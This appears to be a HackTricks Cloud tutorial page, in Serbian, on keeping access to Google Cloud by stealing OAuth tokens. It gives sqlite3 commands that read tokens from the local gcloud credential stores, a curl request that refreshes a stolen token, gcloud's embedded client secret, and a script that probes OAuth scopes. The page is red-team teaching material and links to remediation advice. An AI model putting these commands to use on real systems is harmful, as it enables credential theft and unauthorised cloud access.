GCP - Token Persistence
Reading time: 6 minutes
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Tokeni autentifikovanih korisnika
Da biste dobili trenutni token korisnika, možete pokrenuti:
sqlite3 $HOME/.config/gcloud/access_tokens.db "select access_token from access_tokens where account_id='<email>';"
Proverite na ovoj stranici kako da direktno koristite ovaj token koristeći gcloud:
Da biste dobili detalje za generisanje novog pristupnog tokena, pokrenite:
sqlite3 $HOME/.config/gcloud/credentials.db "select value from credentials where account_id='<email>';"
Takođe je moguće pronaći refresh tokene u $HOME/.config/gcloud/application_default_credentials.json
i u $HOME/.config/gcloud/legacy_credentials/*/adc.json
.
Da biste dobili novi osveženi pristupni token sa refresh tokenom, ID-jem klijenta i tajnom klijenta, pokrenite:
curl -s --data client_id=<client_id> --data client_secret=<client_secret> --data grant_type=refresh_token --data refresh_token=<refresh_token> --data scope="https://www.googleapis.com/auth/cloud-platform https://www.googleapis.com/auth/accounts.reauth" https://www.googleapis.com/oauth2/v4/token
Važenje refresh tokena može se upravljati u Admin > Security > Google Cloud session control, a prema zadanim postavkama postavljeno je na 16h, iako se može postaviti da nikada ne istekne:
.png)
Auth flow
Tok autentifikacije kada se koristi nešto poput gcloud auth login
otvorit će prozor u pregledniku, a nakon prihvatanja svih opsega, preglednik će poslati zahtev kao što je ovaj na http port otvoren od strane alata:
/?state=EN5AK1GxwrEKgKog9ANBm0qDwWByYO&code=4/0AeaYSHCllDzZCAt2IlNWjMHqr4XKOuNuhOL-TM541gv-F6WOUsbwXiUgMYvo4Fg0NGzV9A&scope=email%20openid%20https://www.googleapis.com/auth/userinfo.email%20https://www.googleapis.com/auth/cloud-platform%20https://www.googleapis.com/auth/appengine.admin%20https://www.googleapis.com/auth/sqlservice.login%20https://www.googleapis.com/auth/compute%20https://www.googleapis.com/auth/accounts.reauth&authuser=0&prompt=consent HTTP/1.1
Zatim, gcloud će koristiti stanje i kod sa nekim hardkodiranim client_id
(32555940559.apps.googleusercontent.com
) i client_secret
(ZmssLNjJy2998hD4CTg2ejr2
) da dobije konačne podatke o refresh tokenu.
caution
Imajte na umu da je komunikacija sa localhost-om u HTTP-u, tako da je moguće presresti podatke da bi se dobio refresh token, međutim, ovi podaci su validni samo 1 put, tako da bi to bilo beskorisno, lakše je jednostavno pročitati refresh token iz datoteke.
OAuth Scopes
Možete pronaći sve Google scope-ove na https://developers.google.com/identity/protocols/oauth2/scopes ili ih dobiti izvršavanjem:
curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-A/\-\._]*' | sort -u
Moguće je videti koje opsege aplikacija koja gcloud
koristi za autentifikaciju može podržati pomoću ovog skripta:
curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-Z/\._\-]*' | sort -u | while read -r scope; do
echo -ne "Testing $scope \r"
if ! curl -v "https://accounts.google.com/o/oauth2/auth?response_type=code&client_id=32555940559.apps.googleusercontent.com&redirect_uri=http%3A%2F%2Flocalhost%3A8085%2F&scope=openid+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fuserinfo.email+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcloud-platform+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fappengine.admin+$scope+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fsqlservice.login+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcompute+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Faccounts.reauth&state=AjvFqBW5XNIw3VADagy5pvUSPraLQu&access_type=offline&code_challenge=IOk5F08WLn5xYPGRAHP9CTGHbLFDUElsP551ni2leN4&code_challenge_method=S256" 2>&1 | grep -q "error"; then
echo ""
echo $scope
fi
done
Nakon izvršavanja, provereno je da ova aplikacija podržava ove opsege:
https://www.googleapis.com/auth/appengine.admin
https://www.googleapis.com/auth/bigquery
https://www.googleapis.com/auth/cloud-platform
https://www.googleapis.com/auth/compute
https://www.googleapis.com/auth/devstorage.full_control
https://www.googleapis.com/auth/drive
https://www.googleapis.com/auth/userinfo.email
zanimljivo je videti kako ova aplikacija podržava drive
opseg, što bi moglo omogućiti korisniku da eskalira sa GCP na Workspace ako napadač uspe da primora korisnika da generiše token sa ovim opsegom.
Proverite kako da zloupotrebite ovo ovde.
Računi usluga
Baš kao i kod autentifikovanih korisnika, ako uspete da kompromitujete privatni ključ računa usluge, moći ćete da pristupite njemu obično koliko god želite.
Međutim, ako ukradete OAuth token računa usluge, to može biti još zanimljivije, jer, čak i ako su ovi tokeni po defaultu korisni samo sat vremena, ako žrtva obriše privatni API ključ, OAuth token će i dalje biti važeći dok ne istekne.
Metapodaci
Očigledno, sve dok ste unutar mašine koja radi u GCP okruženju, moći ćete da pristupite računu usluge povezanom sa tom mašinom kontaktirajući metapodatkovni krajnji tačku (napomena da su Oauth tokeni kojima možete pristupiti na ovoj krajnjoj tački obično ograničeni opsegom).
Remedijacije
Neke remedijacije za ove tehnike su objašnjene u https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2
Reference
- https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-1
- https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.